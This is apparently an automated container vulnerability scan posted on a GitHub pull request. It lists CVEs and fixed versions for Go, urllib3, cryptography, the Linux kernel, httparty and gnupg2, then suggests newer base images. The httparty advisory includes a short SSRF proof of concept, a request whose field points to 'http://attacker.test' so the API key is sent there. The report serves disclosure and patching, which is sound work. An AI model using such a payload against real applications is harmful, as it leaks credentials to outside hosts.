
    Affected range<1.22.7
    Fixed version1.22.7
    EPSS Score0.306%
    EPSS Percentile53rd percentile
    Description

    Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635.

    high : CVE--2024--24791

    Affected range<1.21.12
    Fixed version1.21.12
    EPSS Score0.635%
    EPSS Percentile70th percentile
    Description

    The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail.

    An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail.

    high : CVE--2024--24784

    Affected range<1.21.8
    Fixed version1.21.8
    EPSS Score1.498%
    EPSS Percentile81st percentile
    Description

    The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers.

    high : CVE--2023--45288

    Affected range<1.21.9
    Fixed version1.21.9
    EPSS Score66.635%
    EPSS Percentile98th percentile
    Description

    An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames.

    Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed.

    This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send.

    The fix sets a limit on the amount of excess header frames we will process before closing a connection.

    high : CVE--2023--45287

    Affected range<1.20.0
    Fixed version1.20.0
    EPSS Score0.185%
    EPSS Percentile40th percentile
    Description

    Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits.

    In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels.

    high : CVE--2023--45283

    Affected range<1.20.11
    Fixed version1.20.11
    EPSS Score0.097%
    EPSS Percentile27th percentile
    Description

    The filepath package does not recognize paths with a ??\ prefix as special.

    On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x.

    Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b.

    Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b.

    In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name.

    UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored.

    high : CVE--2023--44487

    Affected range<1.20.10
    Fixed version1.20.10
    EPSS Score94.427%
    EPSS Percentile100th percentile
    Description

    A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

    With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

    This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

    The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

    high : CVE--2023--39325

    Affected range<1.20.10
    Fixed version1.20.10
    EPSS Score0.150%
    EPSS Percentile36th percentile
    Description

    A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

    With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

    This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

    The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

    high : CVE--2023--24537

    Affected range<1.19.8
    Fixed version1.19.8
    EPSS Score0.013%
    EPSS Percentile1st percentile
    Description

    Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow.

    high : CVE--2023--24536

    Affected range<1.19.8
    Fixed version1.19.8
    EPSS Score0.066%
    EPSS Percentile21st percentile
    Description

    Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts.

    This stems from several causes:

    1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended.
    2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts.
    3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector.

    The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

    With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations.

    In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms:

    1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=.
    2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.

    high : CVE--2023--24534

    Affected range<1.19.8
    Fixed version1.19.8
    EPSS Score0.045%
    EPSS Percentile14th percentile
    Description

    HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service.

    Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service.

    With fix, header parsing now correctly allocates only the memory required to hold parsed headers.

    high : CVE--2022--41725

    Affected range<1.19.6
    Fixed version1.19.6
    EPSS Score0.055%
    EPSS Percentile17th percentile
    Description

    A denial of service is possible from excessive resource consumption in net/http and mime/multipart.

    Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

    ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files.

    With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous.

    In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct.

    Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.

    high : CVE--2022--41724

    Affected range<1.19.6
    Fixed version1.19.6
    EPSS Score0.017%
    EPSS Percentile3rd percentile
    Description

    Large handshake records may cause panics in crypto/tls.

    Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses.

    This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

    high : CVE--2022--41723

    Affected range<1.19.6
    Fixed version1.19.6
    EPSS Score0.229%
    EPSS Percentile46th percentile
    Description

    A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.

    high : CVE--2022--41722

    Affected range<1.19.6
    Fixed version1.19.6
    EPSS Score0.175%
    EPSS Percentile39th percentile
    Description

    A path traversal vulnerability exists in filepath.Clean on Windows.

    On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack.

    After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b".

    high : CVE--2022--41720

    Affected range<1.18.9
    Fixed version1.18.9
    EPSS Score0.069%
    EPSS Percentile21st percentile
    Description

    On Windows, restricted files can be accessed via os.DirFS and http.Dir.

    The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access.

    In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system.

    With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

    high : CVE--2022--41716

    Affected range<1.18.8
    Fixed version1.18.8
    EPSS Score0.022%
    EPSS Percentile5th percentile
    Description

    Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows.

    In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D".

    high : CVE--2022--41715

    Affected range<1.18.7
    Fixed version1.18.7
    EPSS Score0.016%
    EPSS Percentile3rd percentile
    Description

    Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service.

    The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory.

    After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.

    high : CVE--2022--32189

    Affected range>=1.18.0-0
    <1.18.5
    Fixed version1.18.5
    EPSS Score0.100%
    EPSS Percentile28th percentile
    Description

    Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service.

    high : CVE--2022--30635

    Affected range>=1.18.0-0
    <1.18.4
    Fixed version1.18.4
    EPSS Score0.087%
    EPSS Percentile25th percentile
    Description

    Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion.

    high : CVE--2022--30633

    Affected range>=1.18.0-0
    <1.18.4
    Fixed version1.18.4
    EPSS Score0.084%
    EPSS Percentile25th percentile
    Description

    Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion.

    high : CVE--2022--30632

    Affected range>=1.18.0-0
    <1.18.4
    Fixed version1.18.4
    EPSS Score0.084%
    EPSS Percentile25th percentile
    Description

    Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

    high : CVE--2022--30631

    Affected range>=1.18.0-0
    <1.18.4
    Fixed version1.18.4
    EPSS Score0.041%
    EPSS Percentile12th percentile
    Description

    Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion.

    high : CVE--2022--30630

    Affected range>=1.18.0-0
    <1.18.4
    Fixed version1.18.4
    EPSS Score0.034%
    EPSS Percentile10th percentile
    Description

    Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

    high : CVE--2022--2880

    Affected range<1.18.7
    Fixed version1.18.7
    EPSS Score0.031%
    EPSS Percentile9th percentile
    Description

    Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value.

    After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged.

    high : CVE--2022--2879

    Affected range<1.18.7
    Fixed version1.18.7
    EPSS Score0.016%
    EPSS Percentile3rd percentile
    Description

    Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.

    high : CVE--2022--28131

    Affected range>=1.18.0-0
    <1.18.4
    Fixed version1.18.4
    EPSS Score0.013%
    EPSS Percentile2nd percentile
    Description

    Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion.

    high : CVE--2022--27664

    Affected range<1.18.6
    Fixed version1.18.6
    EPSS Score0.093%
    EPSS Percentile27th percentile
    Description

    HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service.

    high : CVE--2023--29400

    Affected range<1.19.9
    Fixed version1.19.9
    EPSS Score0.048%
    EPSS Percentile15th percentile
    Description

    Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags.

    high : CVE--2023--24539

    Affected range<1.19.9
    Fixed version1.19.9
    EPSS Score0.065%
    EPSS Percentile21st percentile
    Description

    Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

    critical: 0 high: 5 medium: 0 low: 0 stdlib 1.24.4 (golang)

    pkg:golang/stdlib@1.24.4

    high : CVE--2025--61729

    Affected range<1.24.11
    Fixed version1.24.11
    EPSS Score0.015%
    EPSS Percentile2nd percentile
    Description

    Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

    high : CVE--2025--61725

    Affected range<1.24.8
    Fixed version1.24.8
    EPSS Score0.031%
    EPSS Percentile8th percentile
    Description

    The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

    high : CVE--2025--61723

    Affected range<1.24.8
    Fixed version1.24.8
    EPSS Score0.031%
    EPSS Percentile8th percentile
    Description

    The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

    This affects programs which parse untrusted PEM inputs.

    high : CVE--2025--58188

    Affected range<1.24.8
    Fixed version1.24.8
    EPSS Score0.016%
    EPSS Percentile3rd percentile
    Description

    Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

    This affects programs which validate arbitrary certificate chains.

    high : CVE--2025--58187

    Affected range<1.24.9
    Fixed version1.24.9
    EPSS Score0.016%
    EPSS Percentile3rd percentile
    Description

    Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

    This affects programs which validate arbitrary certificate chains.

    critical: 0 high: 3 medium: 0 low: 0 urllib3 2.0.7 (pypi)

    pkg:pypi/urllib3@2.0.7

    high 8.9: CVE--2026--21441 Improper Handling of Highly Compressed Data (Data Amplification)

    Affected range>=1.22
    <2.6.3
    Fixed version2.6.3
    CVSS Score8.9
    CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
    EPSS Score0.018%
    EPSS Percentile4th percentile
    Description

    Impact

    urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

    urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

    However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

    Affected usages

    Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

    Remediation

    Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

    If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

    high 8.9: CVE--2025--66471 Improper Handling of Highly Compressed Data (Data Amplification)

    Affected range>=1.0
    <2.6.0
    Fixed version2.6.0
    CVSS Score8.9
    CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
    EPSS Score0.019%
    EPSS Percentile4th percentile
    Description

    Impact

    urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

    When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

    The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

    Affected usages

    Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

    stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

    Remediation

    Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

    If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

    Credits

    The issue was reported by @Cycloctane.
    Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

    high 8.9: CVE--2025--66418 Allocation of Resources Without Limits or Throttling

    Affected range>=1.24
    <2.6.0
    Fixed version2.6.0
    CVSS Score8.9
    CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
    EPSS Score0.019%
    EPSS Percentile4th percentile
    Description

    Impact

    urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

    However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

    Affected usages

    Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

    Remediation

    Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

    If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

    critical: 0 high: 2 medium: 0 low: 0 cryptography 41.0.7 (pypi)

    pkg:pypi/cryptography@41.0.7

    high 8.7: CVE--2023--50782 Observable Discrepancy

    Affected range<42.0.0
    Fixed version42.0.0
    CVSS Score8.7
    CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    EPSS Score0.707%
    EPSS Percentile72nd percentile
    Description

    A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

    high 7.5: CVE--2024--26130 NULL Pointer Dereference

    Affected range>=38.0.0
    <42.0.4
    Fixed version42.0.4
    CVSS Score7.5
    CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    EPSS Score0.341%
    EPSS Percentile56th percentile
    Description

    If pkcs12.serialize_key_and_certificates is called with both:

    1. A certificate whose public key did not match the provided private key
    2. An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)

    Then a NULL pointer dereference would occur, crashing the Python process.

    This has been resolved, and now a ValueError is properly raised.

    Patched in pyca/cryptography#10423

    critical: 0 high: 1 medium: 0 low: 0 linux 6.8.0-87.88 (deb)

    pkg:deb/ubuntu/linux@6.8.0-87.88?os_distro=noble&os_name=ubuntu&os_version=24.04

    high 7.8: CVE--2025--38666

    Affected range<6.8.0-90.91
    Fixed version6.8.0-90.91
    CVSS Score7.8
    CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    EPSS Score0.022%
    EPSS Percentile5th percentile
    Description

    In the Linux kernel, the following vulnerability has been resolved: net: appletalk: Fix use-after-free in AARP proxy probe The AARP proxy‐probe routine (aarp_proxy_probe_network) sends a probe, releases the aarp_lock, sleeps, then re-acquires the lock. During that window an expire timer thread (__aarp_expire_timer) can remove and kfree() the same entry, leading to a use-after-free. race condition: cpu 0 | cpu 1 atalk_sendmsg() | atif_proxy_probe_device() aarp_send_ddp() | aarp_proxy_probe_network() mod_timer() | lock(aarp_lock) // LOCK!! timeout around 200ms | alloc(aarp_entry) and then call | proxies[hash] = aarp_entry aarp_expire_timeout() | aarp_send_probe() | unlock(aarp_lock) // UNLOCK!! lock(aarp_lock) // LOCK!! | msleep(100); __aarp_expire_timer(&proxies[ct]) | free(aarp_entry) | unlock(aarp_lock) // UNLOCK!! | | lock(aarp_lock) // LOCK!! | UAF aarp_entry !! ================================================================== BUG: KASAN: slab-use-after-free in aarp_proxy_probe_network+0x560/0x630 net/appletalk/aarp.c:493 Read of size 4 at addr ffff8880123aa360 by task repro/13278 CPU: 3 UID: 0 PID: 13278 Comm: repro Not tainted 6.15.2 #3 PREEMPT(full) Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1b0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:408 [inline] print_report+0xc1/0x630 mm/kasan/report.c:521 kasan_report+0xca/0x100 mm/kasan/report.c:634 aarp_proxy_probe_network+0x560/0x630 net/appletalk/aarp.c:493 atif_proxy_probe_device net/appletalk/ddp.c:332 [inline] atif_ioctl+0xb58/0x16c0 net/appletalk/ddp.c:857 atalk_ioctl+0x198/0x2f0 net/appletalk/ddp.c:1818 sock_do_ioctl+0xdc/0x260 net/socket.c:1190 sock_ioctl+0x239/0x6a0 net/socket.c:1311 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:906 [inline] __se_sys_ioctl fs/ioctl.c:892 [inline] __x64_sys_ioctl+0x194/0x200 fs/ioctl.c:892 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xcb/0x250 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Allocated: aarp_alloc net/appletalk/aarp.c:382 [inline] aarp_proxy_probe_network+0xd8/0x630 net/appletalk/aarp.c:468 atif_proxy_probe_device net/appletalk/ddp.c:332 [inline] atif_ioctl+0xb58/0x16c0 net/appletalk/ddp.c:857 atalk_ioctl+0x198/0x2f0 net/appletalk/ddp.c:1818 Freed: kfree+0x148/0x4d0 mm/slub.c:4841 __aarp_expire net/appletalk/aarp.c:90 [inline] __aarp_expire_timer net/appletalk/aarp.c:261 [inline] aarp_expire_timeout+0x480/0x6e0 net/appletalk/aarp.c:317 The buggy address belongs to the object at ffff8880123aa300 which belongs to the cache kmalloc-192 of size 192 The buggy address is located 96 bytes inside of freed 192-byte region [ffff8880123aa300, ffff8880123aa3c0) Memory state around the buggy address: ffff8880123aa200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff8880123aa280: 00 00 00 00 fc fc fc fc fc fc fc fc fc fc fc fc >ffff8880123aa300: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff8880123aa380: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc ffff8880123aa400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ==================================================================

    critical: 0 high: 1 medium: 0 low: 0 httparty 0.22.0 (gem)

    pkg:gem/httparty@0.22.0

    high 7.8: CVE--2025--68696 Server-Side Request Forgery (SSRF)

    Affected range<=0.23.2
    Fixed version0.24.0
    CVSS Score7.8
    CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
    EPSS Score0.039%
    EPSS Percentile12th percentile
    Description

    Summary

    There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

    Details

    When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

    Consider the following example of a web application:

    require 'sinatra'
require 'httparty'

class RepositoryClient
  include HTTParty
  base_uri 'http://exmaple.test/api/v1/repositories/'
  headers 'X-API-KEY' => '1234567890'
end

post '/issue' do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body['repository_id']).body
  # do something
  json message: 'OK'
end

    Now, suppose an attacker sends a request like this:

    POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json

{
    "repository_id": "http://attacker.test",
    "title": "test"
}

    In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

    A similar problem was reported and fixed in the HTTP client library axios in the past:
    axios/axios#6463

    Also, Python's urljoin function has documented a warning about similar behavior:
    https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin

    PoC

    Follow these steps to reproduce the issue:

    1. Set up two simple HTTP servers.

      mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

    2. Create a script (for example, main.rb):

      require 'httparty'

class Client
  include HTTParty
  base_uri 'http://localhost:10001'
end

data = Client.get('http://localhost:10002').body
puts data

    3. Run the script:

      $ ruby main.rb
this is server2

    Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

    Impact

    • Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
    • SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
    • Affected users: Any software that uses base_uri and does not properly validate the path parameter may be affected by this issue.
    critical: 0 high: 1 medium: 0 low: 0 gnupg2 2.4.4-2ubuntu17.3 (deb)

    pkg:deb/ubuntu/gnupg2@2.4.4-2ubuntu17.3?os_distro=noble&os_name=ubuntu&os_version=24.04

    high 7.0: CVE--2025--68973

    Affected range<2.4.4-2ubuntu17.4
    Fixed version2.4.4-2ubuntu17.4
    CVSS Score7
    CVSS VectorCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
    EPSS Score0.012%
    EPSS Percentile1st percentile
    Description

    In GnuPG before 2.4.9, armor_filter in g10/armor.c has two increments of an index variable where one is intended, leading to an out-of-bounds write for crafted input. (For ExtendedLTS, 2.2.51 and later are fixed versions.)

    critical: 0 high: 1 medium: 0 low: 0 golang.org/x/crypto 0.36.0 (golang)

    pkg:golang/golang.org/x/crypto@0.36.0

    high : CVE--2025--47913

    Affected range<0.43.0
    Fixed version0.43.0
    EPSS Score0.032%
    EPSS Percentile9th percentile
    Description

    SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

    @github-actions
    Copy link

    github-actions bot commented Jan 16, 2026 •
    edited
    Loading

    Outdated

    Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

    Base image is ubuntu:24.04

    Name24.04
    Digestsha256:4fdf0125919d24aec972544669dcd7d6a26a8ad7e6561c73d5549bd6db258ac2
    Vulnerabilitiescritical: 0 high: 1 medium: 4 low: 4
    Pushed3 months ago
    Size30 MB
    Packages131
    OS24.04
    The base image is also available under the supported tag(s): latest, noble

    Refresh base image

    Rebuild the image using a newer base image version. Updating this may result in breaking changes.

    ✅ This image version is up to date.

    Change base image

    TagDetailsPushedVulnerabilities
    26.04
    Major OS version update
    Also known as:
      		 Benefits:
      • Image contains 9 fewer packages
      • Tag was pushed more recently
      • Image has similar size
      • Image introduces no new vulnerability but removes 9
      • Major OS version update
      Image details:
      • Size: 34 MB
      • OS: 26.04
      		 1 month ago



      25.10
      Major OS version update
      Also known as:
      • rolling
      • questing
      • questing-20251217
      		 Benefits:
      • Image contains 7 fewer packages
      • Tag was pushed more recently
      • Image has similar size
      • Image introduces no new vulnerability but removes 9
      • Major OS version update
      Image details:
      • Size: 34 MB
      • OS: 25.10
      		 4 weeks ago



      25.04
      Major OS version update
      Also known as:
      • plucky
      • plucky-20251001
      		 Benefits:
      • Image is smaller by 10 KB
      • Image contains 9 fewer packages
